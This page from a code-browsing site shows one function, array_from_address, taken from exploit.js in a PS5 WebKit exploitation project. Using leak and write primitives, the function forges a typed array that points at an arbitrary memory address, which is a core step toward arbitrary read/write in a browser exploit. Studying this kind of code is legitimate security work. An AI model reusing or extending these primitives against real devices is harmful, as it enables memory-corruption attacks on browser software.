MCPcopy Create free account
hub / github.com/ChendoChap/PS5-Webkit-Execution / array_from_address

Function array_from_address

exploit.js:513–523  ·  view source on GitHub ↗
(addr, size)

Source from the content-addressed store, hash-verified

511 }
512
513 function array_from_address(addr, size) {
514 let og_array = new Uint32Array(0x1000);
515 let og_array_i = p.leakval(og_array).add32(0x10);
516
517 p.write8(og_array_i, addr);
518 p.write4(og_array_i.add32(0x8), size);
519 p.write4(og_array_i.add32(0xC), 0x1);
520
521 nogc.push(og_array);
522 return og_array;
523 }
524
525 function stringify(str) {
526 let bufView = new Uint8Array(str.length + 1);

Callers

nothing calls this directly

Calls 1

pushMethod · 0.80

Tested by

no test coverage detected